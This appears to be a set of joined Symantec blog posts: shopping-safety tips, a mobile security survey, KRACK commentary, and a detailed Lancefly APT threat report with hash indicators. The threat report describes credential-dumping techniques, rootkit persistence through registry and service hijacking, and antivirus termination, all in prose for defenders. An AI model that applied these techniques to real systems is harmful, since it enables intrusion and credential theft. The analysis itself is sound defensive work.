So when it comes to buying Mother’s day gifts this year, make sure you follow the 6 simple rules below to keep your data- and your cash- safe online as you shop:
MAKE SURE YOU HAVE PROTECTION
Virus protection and security solutions are a must - not just for desktop PCs but for mobile devices too. And not just any old solutions either. Poor protection can be worse than no protection at all – because it’s gives you a false sense of security that can make you complacent. So make sure that whatever security vendor you choose is well-recognised, well-respected and capable of giving you the robust protection you really need.
KEEP IT UPDATED
Threats change all the time, so you need to keep your robust, reliable security and anti-virus packages up to date too. Remember all those times you chose not to download an update? Each one was effectively an invitation for cyber criminals to exploit a vulnerability!
DON’T NEGLECT THE NETWORK
Securing your devices is one thing. But what about the network that connects them? Unsecured home WiFi networks are just another open door for cyber criminals. Apart from the risk of having your money stolen, do you really want bad guys rummaging around the personal data on your laptop, tablet, smartphone and other WiFi enabled devices?
TRUST YOUR COMMON SENSE
Top brands don’t need to make unbelievable offers to sell their wares. So if you see an online deal that looks too good to be true, it probably is.
NEVER CLICK LINKS IN UNSOLICITED EMAILS
This is a typical tactic for drawing you onto a phishing website or a site that will infect you with malware. Never click on these links: always type in website addresses – and better still, bookmark addresses that you regularly visit for shopping, banking and other online transactions. This removes the danger of entering an incorrect (and potentially risky) URL.
ALWAYS CHECK YOUR BANK STATEMENTS
Finally, even if you’ve bought something online without an apparent hitch, take nothing for granted. Check your bank statements to see that the transaction has gone though, exactly as you expected it to. When you see company names you don’t recognise or payments you can’t identify, alert your bank immediately.
Have you been a victim of cyber crime in the past? Share you experiences by posting your comments on Twitter or LinkedIn – and let us know what steps you’ve taken to protect yourself in future.
If you found this information useful, you may also enjoy:
GDPR: Way Bigger than the EU and Looming Large
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Keys to Crafting a Winning Mobile Security: Customers Weigh In
Symantec customers share their stories from the trenches, recounting what works and what doesn’t
Experience is a valuable teacher, especially when you’re able to learn lessons from others who have taken similar journeys. That’s why we recently polled some of our most successful mobile security customers. They had valuable stories to share about the process they underwent evaluating and implementing mobile security solutions.
We wanted to know the backstory: Why did they embark on these projects? What did they learn? What advice would they offer to someone currently evaluating a similar project?
The questions were open-ended in order to let the customers respond freely and in as much detail as they wanted – the goal was to provide the most insight for readers. Let’s go through the findings of each question one by one. We hope you profit from this trove of information.
Why is it Important to Secure Mobile Devices Today?
We thought this would be a good starting point to gauge their original motivations. We found a good amount of overlap in the answers, which indicated that there are some things anyone considering a mobile security journey should keep top-of-mind.
The most common answer, with 63% of customers mentioning it in some form, was that mobile devices today store a lot of very sensitive information - corporate email, corporate files, personal information, customer data, and so on. All of this is crucial for enterprises to protect, and not just because it makes for good business, but also because of new laws going into effect, such as Europe’s GDPR which goes into effect this month. Another common theme, which ties into all this crucial data that everyone has stored on their phones, is that mobile devices are now ubiquitous. They are an essential part of everyone’s day-to-day routine, both at work and at home.
The third most common response involved the range of threats now facing mobile devices. Specific threats that got a call out included insecure Wi-Fi, loss of a device, having to remote wipe, secure communications, malware, OS and device vulnerabilities, and man-in-the-middle attacks. All of these threat opportunities, when combined with the importance of the data being stored and the ubiquity of mobile devices in our lives now, made mobile devices an extremely attractive target for attackers (which was our fourth most common response).
Advice to Someone Starting a Mobile Security Journey
Where should they start? What are the important things they should consider? We received a fascinating range of answers. But overwhelmingly, the most common themes centered around staying focused on your goals while also keeping the end-user perspective top-of-mind.
In terms of staying focused and overall goals, a lot of customers said it was most important to understand what you’re trying to protect and why. While it’s easy to get lost in the weeds and try to protect everything, they said that approach usually backfires by leaving mobile security coverage spread too thinly. That leaves holes in your defenses. Instead, they lined up around protecting what’s most important to you, your company, and your end-users.
Building protection around what’s important pays off in other ways. They said end-users will want to use the devices because you listened to their needs and worked to protect what they care about. In general, customers stressed that you have to understand your overall mobile security goals before beginning any projects. If you start a mobile security project without a clear vision, don’t be surprised if it leads to holes in your solution - and that benefits no one, other than the attackers.
Our customers made clear how important it is to be sensitive to the end-user experience and productivity throughout the entire process – starting with discovery and right through to final implementation. Ultimately, if you protect things users don’t care about, then they also won’t care about your mobile security solution. If you deploy something that slows their phone down or drains their battery, they won’t use the product. If you don’t make things easy to use, they will find ways to circumvent the restraints. If you don’t keep them informed and educated, they will lose interest. These were all lessons our customers mentioned, resulting in almost half (42%) of our customers emphasizing the importance of building something around what end-users want, need, and will use.
Most Important Requirements of a Mobile Security Solution
In our third and final question, we asked our customers to list their three most important requirements for a mobile security solution. From a requirements perspective, we had dozens of unique answers, a testament to how much a complete mobile security solution today should be able to do. There were a number of standouts, however, that had widespread mention. That means they should likely be on your list of capabilities to look for.
First, mentioned by over 70% of the customers, was that any mobile security solution had to meet the specific needs of the company and had to be reliable. Completeness was the theme here, citing a vast array of threats that need to be stopped, management options that need to be available, and a holistic approach that is flexible but impenetrable so that IT has 24/7 peace of mind.
Second, user experience and usability were key again, with almost half the customers citing this as crucial to user adoption and overall project success. Third, with just under 40%, were the tasks that were crucial for IT to be able to perform, things like easy deployment and EMM/MDM integrations, but also post-deployment tasks like auditing, reporting, monitoring, etc. All of these give IT the insights they need to make sure everyone is protected, but they needed it presented in a way that was not overwhelming or burdensome.
The Bottom Line
What our survey ultimately shows is that mobile security is definitely top of mind for enterprises. The ubiquity of mobile devices in our lives means they - and the data they store - are valuable to us and thus an extremely attractive target to attackers. That’s why they need protection. Our customers are clearly saying that anyone navigating a mobile security project needs to always be thinking about two things: their goals and their users. These are the keys to success. And once you’ve got those two priorities understood, and it’s time to evaluate solutions, make sure you find a solution that is complete and reliable, something that can stop all the threats and always keep IT ahead of the hackers.
Register Now: Hear from industry leader Brian Jacome of Canadian Royal Bank to learn more about investigating and rolling out mobile security in this live webinar on May 22.
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KRACK’s warning for enterprise security
It’s more important than ever to adopt a broader approach to cyber security that addresses the totality of an organization’s security needs.
Earlier this fall, a couple of Belgian researchers revealed a security flaw that hackers could exploit to breach most of the Wi-Fi devices found in the world.
“The attack works against all modern protected Wi-Fi networks,” the researchers wrote of their exploit, which was dubbed “KRACK,” short for “Key Reinstallation AttaCK.”
The authors were able to turn the vulnerability into proof-of-concept code to compromise WPA2— the security standard that protects all modern Wi-Fi networks - to steal data flowing between a wireless device and a targeted Wi-Fi network.
The news set off alarm bells because it meant that WPA2 was not as rock-solid as generally assumed and that hackers could purloin passwords, chat messages or photos.
There’s no indication that any organizations or individuals suffered actual harm. (Here’s a list the Computer Emergency Response Team keeps of manufacturers known to be affected by the flaw, along with links to any relevant advisories and patches.) In theory, the vulnerability can be overcome by incorporating software updates that patch the flaw. However, from a security point of view, there are important lessons to consider.
In theory, the vulnerability can be overcome by incorporating software updates that patch the flaw. However, from a security point of view, there are important lessons to consider.
Staying Ahead of Threats
A single point of failure can expose entire networks. And given the multiplying number of contemporary endpoints inside - and outside - the workplace, by the time your security team gets one thing fixed, rest assured that something else will pop up tomorrow.
All types of devices are coming online as part of the Internet of Things. Also, employees now bring to work different devices running different operating systems versions. All it takes is one person with outdated protections to expose the organization’s entire network.
That puts added onus on security practitioners to adopt a broader approach to cyber security where the network is a key element in a multi-layered security approach. That means protecting data when it’s at rest and encrypting it when it’s in motion. Network traffic encryption helps ensure that employees and customers are protected from threats such as man-in-the-middle attacks.
The researchers who exposed the KRACK vulnerability acknowledged that SSL/TLS encryption would have helped. But it, too, isn’t enough on its own. Researchers warned that, “Although websites or apps may use HTTPS as an additional layer of protection, we warn that this extra protection can (still) be bypassed in a worrying number of situations.”
The fact is that not all encryption is the same. HTTPS, and SSL/TLS in general, can be vulnerable, especially when devices or websites are not supporting the latest encryption protocols or strong ciphers that offer Perfect Forward Secrecy, a requirement in the next protocol standard, TLS 1.3.
No Rest for the Weary
Even after you’ve properly protected your endpoints with strong data encryption, however, don’t assume the job’s done. Cyber criminals are always looking for an angle and encryption can become their means to perpetrate bad stuff.
Malware, “command and control” attacks and data exfiltration are easily hidden within the same encryption that offers security and protects privacy. Once everything is encrypted and locked down, you may not be able to see when people are trying to attack you. And while data leakage may be the result of an external attack, it could also result when an employee innocently sends files they shouldn’t, evading Data Loss Prevention tools originally designed to block attackers.
As a result, enterprises need to simultaneously inspect data, encrypted or not, to find threats while preserving the integrity of the highly secure flows. Network Security tools need visibility into what is being encrypted to find hidden threats. The inspection enabling tools requires the ability to re-encrypt the data at the same, original encryption strength and send it along to its destination. If inspection downgrades the security of the TLS session, you may be taking on one risk to mitigate another.
Planning Next Steps
As you address the totality of an organization’s security needs, solid endpoint protection, strong encryption capabilities, and secure SSL inspection will be key components. But as you look for the right solution to fit your organization’s particular needs, also keep in mind the following:
A best-in-breed approach for vendor selection is a wise way for your partners to optimize their security posture. However, don’t be oversold on single point solutions that over-promise.
Don’t fall into the trap of thinking that tools can be repurposed to do things they’re not intended to do. No single solution does it all so you ought to strongly consider the benefits of a multi-layered and integrated approach.
Find out how others are tackling security issues to prepare yourself for the next big thing. It may happen where you least expect it. Do your research. There’s a ton of analyst research out there and other sources you can find online.
If you need any additional help, feel free to reach out to us. We’ve got a lot of ideas how to help you prepare a strong cyber defense before the next big attack hits.
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Lancefly: Group Uses Custom Backdoor to Target Orgs in Government, Aviation, Other Sectors
Merdoor backdoor is low prevalence and used in highly targeted attacks.
The Lancefly advanced persistent threat (APT) group is using a custom-written backdoor in attacks targeting organizations in South and Southeast Asia, in activity that has been ongoing for several years.
Lancefly may have some links to previously known groups, but these are low confidence, which led researchers at Symantec, by Broadcom Software, to classify this activity under a new group name.
Lancefly’s custom malware, which we have dubbed Merdoor, is a powerful backdoor that appears to have existed since 2018. Symantec researchers observed it being used in some activity in 2020 and 2021, as well as this more recent campaign, which continued into the first quarter of 2023. The motivation behind both these campaigns is believed to be intelligence gathering.
The backdoor is used very selectively, appearing on just a handful of networks and a small number of machines over the years, with its use appearing to be highly targeted. The attackers in this campaign also have access to an updated version of the ZXShell rootkit.
The targets in this most recent activity, which began in mid-2022 and continued into 2023, are based in South and Southeast Asia, in sectors including government, aviation, education, and telecoms. Symantec researchers previously saw the Merdoor backdoor used in activity that targeted victims in the same geographies in the government, communications, and technology sectors in 2020 into 2021. Like this recent activity, that activity also appeared to be highly targeted, with only a small number of machines infected.
Merdoor Backdoor
Merdoor is a fully-featured backdoor that appears to have been in existence since 2018.
The backdoor contains the following functionality:
Installing itself as a service
Keylogging
A variety of methods to communicate with its command-and-control (C&C) server (HTTP, HTTPS, DNS, UDP, TCP)
Ability to listen on a local port for commands
Instances of the Merdoor backdoor are usually identical with the exception of embedded and encrypted configuration, which determines:
C&C communication method
Service details
Installation directory
Typically, the backdoor is injected into the legitimate processes perfhost.exe or svchost.exe.
The Merdoor dropper is a self-extracting RAR (SFX) that contains three files:
A legitimate and signed binary vulnerable to DLL search-order hijacking
A malicious loader (Merdoor loader)
An encrypted file (.pak) containing final payload (Merdoor backdoor)
When opened, the dropper extracts embedded files and executes a legitimate binary in order to load the Merdoor loader.
Merdoor dropper variants have been found that abuse older versions of five different legitimate applications for the purpose of DLL sideloading:
Table 1. List of legitimate applications abused by Merdoor for DLL sideloading.
Legitimate binary Version Date signed Loader (Merdoor loader) Encrypted payload (Merdoor backdoor)
SiteAdv.exe (McAfee SiteAdvisor) 1.6.0.23 08/10/2006 SiteAdv.dll SiteAdv.pak
ssr32.exe (Sophos SafeStore Restore) 1.3.0.1 11/17/2017 safestore32.dll safestore.pak
chrome_frame_helper.exe (Google Chrome Frame) 27.0.1453.110 05/29/2013 chrome_frame_helper.dll chrome_frame_helper.pak
wsc_proxy.exe (Avast wsc_proxy) 1.0.0.3 10/28/2019 wsc.dll proxycfg.pak
coInst.exe (Norton Identity Safe) 2014.7.3.12 06/26/2014 msvcr100.dll coinstcfg.dat
Attack Chain
Evidence from Lancefly’s earlier campaign that began in 2020 suggested that in that instance the group may have used a phishing email with a lure based on the 37th ASEAN Summit as an initial infection vector.
In this more recent activity, the initial infection vector was not entirely clear. We saw some indications of what the initial infection vector may have been in two victims, though this was not conclusive.
In one of the government sector victims, there were indications that the initial infection vector may have been SSH brute forcing. Multiple open-source sources associate one of the IP addresses used by the threat actors in this activity with SSH brute forcing, indicating that the initial infection vector was possibly SSH brute forcing.
In another victim, a file path (Csidl_program_files\loadbalancer\ibm\edge\lb\servers\bin) indicates a load balancer may have been exploited for access, indicating that the initial infection vector may have been an exposed public-facing server.
While evidence for any of these infection vectors is not definitive, it does appear to indicate that Lancefly is adaptable when it comes to the kind of infection vectors it uses.
Credential theft using non-malware techniques
In activity that also aligned with their earlier campaign in 2020/2021, the attackers used a number of non-malware techniques for credential theft on victim machines:
PowerShell was used to launch rundll32.exe in order to dump the memory of a process using the MiniDump function of comsvcs.dll. This technique is often used to dump LSASS memory.
Reg.exe was used to dump the SAM and SYSTEM registry hives.
A legitimate tool by Avast was installed by the attackers and used to dump LSASS memory.
The attackers also used a masqueraded version of the legitimate archiving tool WinRAR to stage and encrypt files before exfiltration.
Notable attack chain tools and TTPs
Impacket Atexec: A dual-use tool that can be used by malicious actors to create and run an immediate scheduled task on a remote target via SMB in order to execute commands on a target system. It is used by Lancefly for lateral movement across victim networks, also possibly for shellcode execution and evasion. It may have been used to delete cmdline output files.
Suspicious SMB activity: Suspicious SMB activity is seen on numerous victim machines. This is likely related to the use of Impacket by the threat actors.
WinRAR: An archive manager that can be used to archive or zip files – for example, prior to exfiltration. It is not clear how the attackers exfiltrate the data from victim machines, but it is most likely via Merdoor.
LSSAS Dumper: Allows the attackers to swiftly steal credentials they can then use to gain further access across victim networks.
NBTScan: Open-source command-line NetBIOS scanner. This can be used to gather information on a network.
Blackloader and Prcloader: Loaders used by the group. These loaders were also both used in earlier Merdoor activity in 2020 and 2021. They have been linked to the delivery of PlugX. Both loaders appear to be sideloaded onto victim machines. It is not clear if these loaders are exclusively used by Lancefly or if their use is shared across multiple groups.
A typical Merdoor attack chain, as seen in one of the victims, appears to be:
Merdoor injected into either perfhost.exe or svchost.exe.
Suspicious SMB activity is then normally observed, and the backdoor connects to its C&C server.
This is often followed by suspicious living-off-the-land activity, such as the execution of commands like mavinject.exe (which can be used for process injection) and createdump.exe (which can be used to dump a process e.g. LSASS).
A masqueraded WinRAR (wmiprvse.exe) file is then used to stage and encrypt files, presumably prior to exfiltration. We do not actually see the files being exfiltrated from victim networks, but we presume the Merdoor backdoor itself is used to exfiltrate them.
ZXShell Rootkit Technical Details
The ZXShell rootkit was first reported on by Cisco in 2014, but the version of the tool used by Lancefly is updated, indicating that it continues to be actively developed. The source code of this rootkit is publicly available so it may be used by multiple different groups. The new version of the rootkit used by Lancefly appears to be smaller in size, while it also has additional functions and targets additional antivirus software to disable.
Loader
The loader for the rootkit is a 32-bit DLL with the export directory name "FormDll.dll" (SHA256: 1f09d177c99d429ae440393ac9835183d6fd1f1af596089cc01b68021e2e29a7).
It has the following exports:
"CallDriver"
"DoRVA"
"KillAvpProcess"
"LoadSys"
"ProtectDllFile"
Export "Loadsys"
Whenever the export "LoadSys" is executed, it drops one of the following files based on the processor architecture:
"[WindowsDirectory]\system32\drivers\TdiProxy.sys"
"[WindowsDirectory]\system64\drivers\TdiProxy.sys"
These files are a malicious Windows Kernel driver. This is a variant of a driver that was first documented in an RSA blog several years ago.
It has the PDB filename: "c:\google\objchk_win7_amd64\amd64\Google.pdb"
The sample creates the device: "\Device\TdiProxy0".
It also creates the symbolic link "\DosDevices\TdiProxy0", so that it can be controlled using the pathname “\\.\TdiProxy0”.
After this, the loader timestamps the dropped file by copying the timestamps from the file "[WindowsDirectory]\system32\drivers\http.sys".
Then it creates a service with the following parameters:
ServiceName = "TdiProxy0"
DisplayName = "TdiProxy0" (later replaced with "TdiProxy")
BinaryPathName = "[WindowsDirectory]\system32\drivers\TdiProxy.sys"
Export "CallDriver"
"CallDriver" opens the following device, which was created by the “\\.\TdiProxy0” malicious kernel driver.
It communicates with it using the DeviceIoControl API.
The export expects two arguments. The first argument determines the dwIoControlCode parameter to use when calling the DeviceIoControl API and it should be one of the following strings:
"-init",
"-file",
"-pack",
"-port",
"-removetcpview",
"-tcpview",
"-clearall",
"-clear",
"-transport",
"-waitport",
"-kill",
"-antiscan",
"-removeprocessnotify",
"-setprocessnotify",
"-antiantigp",
"-hideproc",
"-hidekey",
"-hidefile",
"-setprotect",
Any other values result in what looks like a buggy dwIoControlCode value. The second argument is a string to pass as an lpInBuffer parameter when calling the DeviceIoControl API, after conversion using the MultiByteToWideChar API.
Export "DoRVA"
Whenever the export "DoRVA" is executed, it reads the following file:
"[file_directory_of_the_DLL]\Form.hlp"
The file should start with the magic string "AP32" and contains shellcode to execute in compressed form.
Export "KillAvpProcess"
This enumerates running processes and for selected processes and calls its own export "CallDriver" with the following parameters:
first parameter: "-kill"
second parameter: "[ProcessID]"
The export expects a single string parameter to compare with the executable file of running processes for selection.
Export "ProtectDllFile"
This calls its own export "CallDriver" with the following parameters:
first parameter: "-file"
second parameter: "[file_path_of_the_DLL]"
Next, it sets the following registry value:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ptdf\"ptdffile" = "[file_path_of_the_DLL]"
Loadpoint
This is a 32-bit executable with the PDB filename: "M:\Project\database\10.0.18362\Form\Release\Form.pdb". (SHA256: 180970fce4a226de05df6d22339dd4ae03dfd5e451dcf2d464b663e86c824b8e)
Whenever the sample is executed, it loads the following DLL:
"[file_path_of_the_running_executable]\FormDll.dll"
It also calls its export: "DoRVA".
Installation and Update Utility
The installation and update utility is a 32-bit PE executable (SHA256: a6020794bd6749e0765966cd65ca6d5511581f47cc2b38e41cb1e7fddaa0b221) that shares small but distinctive fragments of code with the Merdoor loader, which is what indicates they are part of the same toolset.
Whenever the sample is executed, it attempts to read and delete the following file containing its configuration data:
"[file_directory_of_running_executable]\res.ini"
Update functionality
Next, it checks that:
"\\.\TdiProxy0" device is available, and
That its own process was started with the command-line parameter "-up".
If both checks pass, the sample attempts to tamper with various antivirus products using the "\\.\TdiProxy0" device. For example, it may terminate the processes "egui.exe", "ekrn.exe", and "msmpeng.exe".
Next, it attempts to rename the file "[FILE_DIRECTORY_OF_RUNNING_EXECUTABLE]\res.dat" as one of the following (depending on the Windows version):
"[SystemDrive]\Users\All Users\Windows Defender\temp.temp"
"[WindowsDirectory]\temp.temp".
Based on the structure of the code, the above file should start with the magic string "AP32" and could contain a DLL file in compressed form. The sample then decompresses the renamed file "temp.temp". When decompressing, it may create the temporary file "temp.temp.pack" in the same folder.
Next, the sample appends a certain marker followed by the content of "[FILE_DIRECTORY_OF_RUNNING_EXECUTABLE]\res.ini" (partially transformed using the XOR algorithm with the byte key 0x12) at the end of the decompressed file.
Additionally, it also creates the following registry value:
HKEY_CLASSES_ROOT\.udf\"BINTYPE" = [content of "[file_directory_of_running_executable]\res.ini" (partially transformed using the XOR algorithm with the byte key 0x12)]
Then the sample checks if the following file exists:
"[SystemDrive]\Users\All Users\Windows Defender\DefenderSvc.dll"
If so, the sample renames the updated "temp.temp" file to replace it.
Otherwise, it checks the following registry value for the pathname to replace:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ecdf\"ecdffile"
If that fails, it uses a default from configuration data.
Finally, it checks the following registry value for a service name:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.tudf\"tudffile"
It restarts the referred service.
Installation functionality
The sample attempts to decompress the following file:
"[FILE_DIRECTORY_OF_RUNNING_EXECUTABLE]\google64.p" (64-bit processor architecture), or
"[FILE_DIRECTORY_OF_RUNNING_EXECUTABLE]\google32.p" (32-bit processor architecture)
as:
"[WindowsDirectory]\Microsoft.NET\Framework64\iesockethlp.dll" (64-bit processor architecture), or
"[WindowsDirectory]\Microsoft.NET\Framework\iesockethlp.dll" (32-bit processor architecture)
Then it may modify one of the following registry values to hijack the corresponding service:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\exfat\"ImagePath" = "\??\[PATHNAME_OF_FILE_DECOMPRESSED_ABOVE]", or
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RDPWD\"ImagePath" = "\??\[PATHNAME_OF_FILE_DECOMPRESSED_ABOVE]"
Next, it starts the corresponding service and then removes the registry value. It then attempts to tamper with various antivirus products using the "\\.\TdiProxy0" device.
It then creates a service with the following parameters:
ServiceName: "[PER CONFIGURATION DATA]"
ImagePath:
"%SystemRoot%\System32\svchost.exe -k netsvcs", or
"%SystemRoot%\System32\svchost.exe -k ntmssvcs"
Parameters:
ServiceDll:
"C:\WINDOWS\Microsoft.NET\Framework64\[PER CONFIGURATION DATA]", or
"C:\WINDOWS\Microsoft.NET\Framework\[PER CONFIGURATION DATA]"
Then it creates the following registry value:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.tudf\"tudffile" = [NAME OF CREATED SERVICE]
It then deletes the following registry values:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ptdf\"ptdffile"
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.ecdf\"ecdffile"
Next, it renames the following file:
"[FILE_DIRECTORY_OF_RUNNING_EXECUTABLE]\res.dat"
as:
"[WindowsDirectory]\Microsoft.NET\Framework64\[PER CONFIGURATION DATA].back" (64-bit processor architecture), or
"[WindowsDirectory]\Microsoft.NET\Framework\[PER CONFIGURATION DATA].back" (32-bit processor architecture)
Based on the structure of the code, the above file should start with the magic string "AP32" and could contain a DLL file in compressed form (using aPLib for compression).
The sample then decompresses the renamed "[PER CONFIGURATION DATA].back" as "[PER CONFIGURATION DATA]".
Next, the sample appends a certain marker followed by the content of "[FILE_DIRECTORY_OF_RUNNING_EXECUTABLE]\res.ini" (partially transformed using the XOR algorithm with the byte key 0x12) at the end of the decompressed file.
Additionally, it also creates the following registry value:
HKEY_CLASSES_ROOT\.udf\"BINTYPE" = [content of "[FILE_DIRECTORY_OF_RUNNING_EXECUTABLE]\res.ini" (partially transformed using the XOR algorithm with the byte key 0x12)]
Finally, when the configuration data includes the option "OneSelfKey", it makes a compressed copy of its own executable as (using aPLib for compression):
"[WindowsDirectory]\SysWOW64\nethlp.hlp" (64-bit processor architecture), or
"[WindowsDirectory]\system32\nethlp.hlp" (32-bit processor architecture).
Some samples include an embedded archive with the final payload:
"Msrpcsvc.dll"
This is a variant of the ZXShell backdoor (SHA256: d5df686bb202279ab56295252650b2c7c24f350d1a87a8a699f6034a8c0dd849).
Possible Links to Other Groups
The ZXShell rootkit used by Lancefly is signed by the certificate "Wemade Entertainment Co. Ltd", which was previously reported to be associated with APT41 (aka Blackfly/Grayfly). However, it is known that Chinese APT groups, such as APT41, often share certificates with other APT groups. The ZXShell backdoor has also previously been used by the HiddenLynx/APT17 group, but as the source code of ZXShell is now publicly available this does not provide a definitive link between these two groups.
Also notable is that the ZXShell rootkit loader component has the name "formdll.dll" and it has the ability to read the file "Form.hlp" and execute its contents as shellcode. Those same files were mentioned as being used in a previous report detailing activity by the Iron Tiger (aka Budworm/APT27) group. In that case, the attackers used these filenames when loading the PlugX backdoor onto victim machines. The prevalence of such files is very low, which may indicate a potential link between that campaign and this more recent activity.
PlugX is also seen being used by Lancefly. PlugX is a remote access Trojan (RAT) with multiple functionalities including backdoor access and data exfiltration. PlugX has existed for well over a decade. It was originally used by Chinese APT groups, but its use is now very widespread, meaning it is difficult to use it as a way of attributing activity.
ShadowPad is also used by these attackers. ShadowPad is a modular RAT believed to be exclusively used by Chinese APT groups. Its capabilities are similar to PlugX, and it is often referred to as a successor to that malware.
While these overlaps and shared tools may indicate some links between Lancefly activity and activity by other APT groups, none of the overlaps are strong enough to attribute this activity and the development of the Merdoor backdoor to an already-known attack group.
Noteworthy Backdoor, Targeted Activity
This recent Lancefly activity is of note due to its use of the Merdoor backdoor, but also the low prevalence of this backdoor and the seemingly highly targeted nature of these attacks. While the Merdoor backdoor appears to have been in existence for several years, it appears to only have been used in a small number of attacks in that time period. This prudent use of the tool may indicate a desire by Lancefly to keep its activity under the radar.
The tools used and sectors targeted all point to the motivations of this attack campaign being intelligence gathering. The similarities between this recent activity and earlier activity by Lancefly indicate that the group perhaps did not realize the earlier activity had been discovered, so it was not concerned about links being made between the two. Whether or not the exposure of this activity will lead to any alteration in how the group carries out its activity remains to be seen.
Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise (IOCs)
Merdoor Backdoor
SHA256 Filename Description
13df2d19f6d2719beeff3b882df1d3c9131a292cf097b27a0ffca5f45e139581 – a.exe – Merdoor Dropper
8f64c25ba85f8b77cfba3701bebde119f610afef6d9a5965a3ed51a4a4b9dead – chrome_frame_helper.exe – Merdoor Dropper
8e98eed2ec14621feda75e07379650c05ce509113ea8d949b7367ce00fc7cd38 – siteadv.exe – Merdoor Dropper
89e503c2db245a3db713661d491807aab3d7621c6aff00766bc6add892411ddc – siteadv.exe – Merdoor Dropper
c840e3cae2d280ff0b36eec2bf86ad35051906e484904136f0e478aa423d7744 –siteadv.exe –Merdoor Dropper
5f16633dbf4e6ccf0b1d844b8ddfd56258dd6a2d1e4fb4641e2aa508d12a5075 –chrome_frame_helper.dll – Merdoor Loader
ff4c2a91a97859de316b434c8d0cd5a31acb82be8c62b2df6e78c47f85e57740 –chrome_frame_helper.dll – Merdoor Loader
14edb3de511a6dc896181d3a1bc87d1b5c443e6aea9eeae70dbca042a426fcf3 –chrome_frame_helper.dll – Merdoor Loader
db5deded638829654fc1595327400ed2379c4a43e171870cfc0b5f015fad3a03 –chrome_frame_helper.dll – Merdoor Loader
e244d1ef975fcebb529f0590acf4e7a0a91e7958722a9f2f5c5c05a23dda1d2c –chrome_frame_helper.dll – Merdoor Loader
f76e001a7ccf30af0706c9639ad3522fd8344ffbdf324307d8e82c5d52d350f2 –chrome_frame_helper.dll – Merdoor Loader
dc182a0f39c5bb1c3a7ae259f06f338bb3d51a03e5b42903854cdc51d06fced6 – smadhook64c.dll – Merdoor Loader
fa5f32457d0ac4ec0a7e69464b57144c257a55e6367ff9410cf7d77ac5b20949 – SiteAdv.dll, chrome_frame_helper.dll –Merdoor Loader
fe7a6954e18feddeeb6fcdaaa8ac9248c8185703c2505d7f249b03d8d8897104 – siteadv.dll – Merdoor Loader
341d8274cc1c53191458c8bbc746f428856295f86a61ab96c56cd97ee8736200 – siteadv.dll – Merdoor Loader
f3478ccd0e417f0dc3ba1d7d448be8725193a1e69f884a36a8c97006bf0aa0f4 – siteadv.dll – Merdoor Loader
750b541a5f43b0332ac32ec04329156157bf920f6a992113a140baab15fa4bd3 – mojo_core.dll – Merdoor Loader
9f00cee1360a2035133e5b4568e890642eb556edd7c2e2f5600cf6e0bdcd5774 – libmupdf.dll – Merdoor Loader
a9051dc5e6c06a8904bd8c82cdd6e6bd300994544af2eed72fe82df5f3336fc0 – chrome_frame_helper.dll – Merdoor Loader
d62596889938442c34f9132c9587d1f35329925e011465c48c94aa4657c056c7 – smadhook64c.dll – Merdoor Loader
f0003e08c34f4f419c3304a2f87f10c514c2ade2c90a830b12fdf31d81b0af57 – SiteAdv.pak – Merdoor encoded payload
139c39e0dc8f8f4eb9b25b20669b4f30ffcbe2197e3a9f69d0043107d06a2cb4 – SiteAdv.pak – Merdoor encoded payload
11bb47cb7e51f5b7c42ce26cbff25c2728fa1163420f308a8b2045103978caf5 – SiteAdv.pak – Merdoor encoded payload
0abc1d12ef612490e37eedb1dd1833450b383349f13ddd3380b45f7aaabc8a75 – SiteAdv.pak – Merdoor encoded payload
eb3b4e82ddfdb118d700a853587c9589c93879f62f576e104a62bdaa5a338d7b –SiteAdv.exe – Legit McAfee executable
1ab4f52ff4e4f3aa992a77d0d36d52e796999d6fc1a109b9ae092a5d7492b7dd – chrome_frame_helper.exe – Legit Google executable
fae713e25b667f1c42ebbea239f7b1e13ba5dc99b225251a82e65608b3710be7 – SmadavProtect64.exe – Legit SmadAV executable
ZXShell Rootkit
SHA256 Filename Description
1f09d177c99d429ae440393ac9835183d6fd1f1af596089cc01b68021e2e29a7 formdll.dll Kernel driver loader
180970fce4a226de05df6d22339dd4ae03dfd5e451dcf2d464b663e86c824b8e form.exe Kernel driver loadpoint
a6020794bd6749e0765966cd65ca6d5511581f47cc2b38e41cb1e7fddaa0b221 update.exe Kernel driver installation and update utility
592e237925243cf65d30a0c95c91733db593da64c96281b70917a038da9156ae update.exe Kernel driver installation and update utility
929b771eabef5aa9e3fba8b6249a8796146a3a4febfd4e992d99327e533f9798 formdll.dll Kernel driver loader
009d8d1594e9c8bc40a95590287f373776a62dad213963662da8c859a10ef3b4 tdiproip.sys Kernel driver x64
ef08f376128b7afcd7912f67e2a90513626e2081fe9f93146983eb913c50c3a8 tdiproip.sys Kernel driver x32
ee486e93f091a7ef98ee7e19562838565f3358caeff8f7d99c29a7e8c0286b28 iehlpsrv.dll Kernel driver x64 old
32d837a4a32618cc9fc1386f0f74ecf526b16b6d9ab6c5f90fb5158012fe2f8c USBHPMS.sys Kernel driver x32 old
d5df686bb202279ab56295252650b2c7c24f350d1a87a8a699f6034a8c0dd849 ZXShell
Other Files
SHA256 Filename Description
a1f9b76ddfdafc47d4a63a04313c577c0c2ffc6202083422b52a00803fd8193d ssmuidll.dll Possible PlugX DLL loader
3ce38a2fc896b75c2f605c135297c4e0cddc9d93fc5b53fe0b92360781b5b94e tosbtkbd.dll Possible ShadowPad loader
210934a2cc59e1f5af39aa5a18aae1d8c5da95d1a8f34c9cfc3ab42ecd37ac92 klcsstd2.dll Possible ShadowPad loader
530c7d705d426ed61c6be85a3b2b49fd7b839e27f3af60eb16c5616827a2a436 comhlpsvc.dll Client to interact with driver
5018fe25b7eac7dd7bc30c7747820e3c1649b537f11dbaa9ce6b788b361133bf comhlpsvc.dll Client to interact with driver
efa9e9e5da6fba14cb60cba5dbd3f180cb8f2bd153ca78bbacd03c270aefd894 searchsrvc.exe Client to interact with driver
a5a4dacddfc07ec9051fb7914a19f65c58aad44bbd3740d7b2b995262bd0c09e comhlpsvc32.dll Client to interact with driver
